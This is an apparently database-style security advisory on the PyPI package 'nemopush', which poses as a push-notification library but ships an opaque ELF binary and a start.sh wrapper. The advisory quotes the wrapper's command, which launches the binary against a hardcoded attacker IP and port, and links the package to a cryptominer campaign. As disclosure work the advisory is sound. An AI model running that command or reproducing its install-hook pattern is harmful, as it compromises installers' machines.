nemopush

Details

---
_-= Per source details. Do not edit below this line.=-_

## Source: amazon-inspector (58d2958d0307dfe5b73dc1eef5a46e96c25f94ea31a0b4ab8b43a1878d427d2d)
The package advertises itself as 'A push notification package' but ships an ~8.6 MB opaque ELF x86-64 binary named `claude` and a `start.sh` wrapper as package data (declared in pyproject.toml under [tool.setuptools.package-data]). The pypi entry point `nemopush-run` (nemopush.main:run) invokes `subprocess.run(["bash", script_path])`, and `start.sh` runs `chmod +x./claude` followed by `./claude --host 45.151.62.119:3361 --user <hardcoded per-install token>`. Running the advertised command executes attacker-controlled native code on the installer's host that establishes an outbound connection to a hardcoded bare-IP endpoint, identifying itself with a per-install token — the shape of a remote agent / backdoor. There is no README, no source, no build recipe, no hash or signature for the binary, and the destination is neither the publisher's domain nor version-pinned. The declared 'push notification' purpose does not match shipping and executing an opaque native binary that phones home to a bare IP.

## Source: kam193 (b1717e80fb3423ed246cbcaacb39cfa13526d2f2520a8de1229cd3388e391059)
In this campaign, packages use names similar to popular services (e.g. Kimi AI) to deploy cryptominer.


---

Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.


Campaign: 2026-07-kimichat


Reasons (based on the campaign):


 - cryptominer

Compromised versions (4)

• 0.1.0
• 0.1.1
• 0.1.2
• 0.1.3

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.